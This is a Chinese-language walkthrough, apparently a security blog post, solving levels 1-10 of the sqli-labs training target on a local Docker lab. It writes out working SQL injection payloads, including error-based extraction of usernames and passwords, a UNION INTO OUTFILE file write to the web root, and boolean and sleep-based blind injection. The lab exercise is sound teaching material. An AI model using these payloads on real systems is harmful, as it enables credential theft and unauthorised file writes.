0x00 虚拟机搭建sqli-lab
大家好,我是许心痕。这是我写的靶场笔记,欢迎阅读。
这里采用docker一键部署。
本文采用ubuntu16.04安装
更新源:sudo apt-get update && sudo apt-get upgrade -y
安装docker:curl -s https://get.docker.com/ | sh
搜索docker镜像中的sqli-lab靶场:docker search sqli-lab //第一个就是我们要找的靶场镜像
镜像下载:docker pull acgpiano/sqli-labs
运行镜像容器:docker run -d -p 80:80 acgpiano/sqli-labs
打开靶场后请先重置数据库,然后我们从第一页开始做起
0x01 sqli-lab第一关
第一关使用GET参数,单引号&&字符串&&显错注入。
url中添加get参数?id=1,即
http://192.168.28.58/Less-1/?id=1进入注入页面。
在url后面添加英文输入法中的单引号,即
http://192.168.28.58/Less-1/?id=1',则报错
此时的sql查询语句为:
select * from users where id='1''
两个单引号,所以报错
那么在我们构造查询语句:http://192.168.28.58/Less-1/?id=-1' or '1
此时的查询语句为:
select * form users where id='-1' or '1'
因为or 后边是'1'是true ,虽然id='-1'是false,但是执行或运算以后,只要有一个是true,那么整个语句永远为true。则正常显示
0x02 sqli-lab第二关
第二关是GET型&&整数&&显错注入,同样在url后面输入get参数?id=1。后面就不讲了,1-10关都是GET型注入。
在url后面添加:
http://192.168.28.58/Less-2/?id=1a
报错
构造语句,使用一个不存在的用户id=-1:
http://192.168.28.58/Less-2/?id=-1 or 1
,返回正常
此时的查询语句为:
select * form users where id=-1 or 1
原理跟第一关一样,或运算有一个为true,那么整个语句也是永真true条件
0x03 sqli-lab第三关
第三关是GET&&有括号的单引号&&字符串&&显错注入
构造语句,使用一个不存在的用户id=-1:
http://192.168.28.58/Less-3/?id=-1') or ('1
,返回正常
此时的查询语句为:
select * form users where id=('-1') or ('1')
原理还是构造了一个永远是true的sql语句。
0x04 sqli-lab第四关
第四关是GET&&有括号的双引号&&字符串&&显错注入
构造语句,使用一个不存在的用户id=-1:
http://192.168.28.58/Less-4/?id=-1") or ("1
此时的查询语句为:
select * form users where id=("-1") or ("1")
返回正常。
0x05 sqli-lab第五关
第五关是GET&&双查询&&单引号&&字符串&&显错注入。
第五关稍微有点难度,我们的目的是让这个页面显示出任意一个用户的名字。双查询注入是利用了数据库出错的原理,爆破出数据。我们爆出第一个用户id=1的名字
构造语句:
http://192.168.28.58/Less-5/?id=1' union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- '
这种注入利用了随机函数,因此成功率不是100%。我们重复刷新页面,成功爆出用户名为Dumb
此时的查询语句为:
select * from users where id='1' union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- '
0x06 sqli-lab第六关
第六关是GET&&双查询&&双引号&&字符串&&显错注入。
第六关稍微有点难度,我们的目的是让这个页面显示出任意一个用户的名字。双查询注入是利用了数据库出错的原理,爆破出数据。我们爆出第一个用户id=1的名字
构造语句:
http://192.168.28.58/Less-6/?id=1" union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- "
这种注入利用了随机函数,因此成功率不是100%。我们重复刷新七八次页面,成功爆出用户名为Dumb
此时的查询语句为:
select * from users where id="1" union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- "
0x07 sqli-lab第七关
第七关是GET&&双查询&&双引号&&字符串&&显错注入,目的是dump输出一个文件。
因为表里有三个字段,那么可以使用union联合查询构造语句:
http://192.168.28.58/Less-7/?id=1")) union select 1,2,3 --(( "
此时的查询语句是
select * from users where id=(('1')) union select 1,2,3 --(( ')
在linux中,网站一般是放在/var/www/html目录里,这里我们dump一个文件到这个目录,名字是hacker.txt。
这里不说上传网马。
构造语句:
http://192.168.28.58/Less-7/?id=1')) union select 1,'hacker by xuxinhen',3 into outfile '/var/www/html/hacker.txt' -- (( '
虽然报错,但是文件已经生成
打开链接:
http://192.168.28.58/hacker.txt即可找到
此时的sql语句为:
select * from users where id=(('1')) union select 1,'hacker by xuxinhen',3 into outfile '/var/www/html/hacker.txt' -- (( '
0x08 sqli-lab第八关
第八关是GET&&布尔&&单引号盲注,所谓盲注就是不显示任何错误,只能猜解。
我们猜测当前数据库用户的第一个字母,在sql 里语句ascii(substr(user(),1,1)) 表示当前数据库用户名字的第一个字母的ascii值。
构造语句:
http://192.168.28.58/Less-8/?id=1' and ascii(substr(user(),1,1))<100 -- '
如果当前用户第一个字母的ascii值小于100 则页面应该显示 You are in 才对。但是没有,所以是大于100,
如果构造:
http://192.168.28.58/Less-8/?id=1' and ascii(substr(user(),1,1))<150 -- '
则返回正常
则说明首字母ascii在100-150之间,利用折半法快速查询,可以查到首字母ascii是114,对应字母r
0x09 sqli-lab第九关
第九关是GET&&布尔&&单引号基于时间盲注,所谓时间盲注就是利用sleep函数,让数据库睡一会儿,这样这个网页就会打开的很忙,根据网页打开的时间差来判断ascii值等等。
我们当前的数据库用户是root,可以通过前几课注入出来。
Mysql 里有个函数 if(条件,表达1,表达2) 如果条件是true在执行表达式1 否则执行表达式2。
构造语句:
http://192.168.28.58/Less-9/?id=1' and sleep(5) --'
那么当前网页5秒钟之后才正常打开
我们判断当前用户是否是root用户,可以构造语句:
http://192.168.28.58/Less-9/?id=1' and if((select substr(user(),1,4)='root' ),sleep(5),null) --'
如果5秒钟之后才打开,说明判断用户是root用户,如果一下子就打开了,那么说明不是root用户
0x10 sqli-lab第十关
第十关是GET&&布尔&&双引号基于时间盲注,跟第九关差不多。不多说了,写到这里已经很累的,好困啊,现在是23:14分,写完这个该睡觉了。
判断是否是root用户,构造语句:
http://192.168.28.58/Less-10/?id=1" and if((select substr(user(),1,4)='root' ),sleep(5),null) --"
五秒钟后才正常打开,说明当前用户是root用户
结束语
这篇文章写了很长时间了,这些注入语句也算是基础的内容,加深了我对SQL注入的印象。当然在实际做web渗透过程中肯定没有那么简单。不过能用工具的最好不用手工,节省时间,提高效率。我第一次写注入文章好像是,有些不对的地方还请加我QQ2063367671指出!
本文始发于微信公众号(Khan安全攻防实验室):【web安全】sqli-lab靶场1-10关练习笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论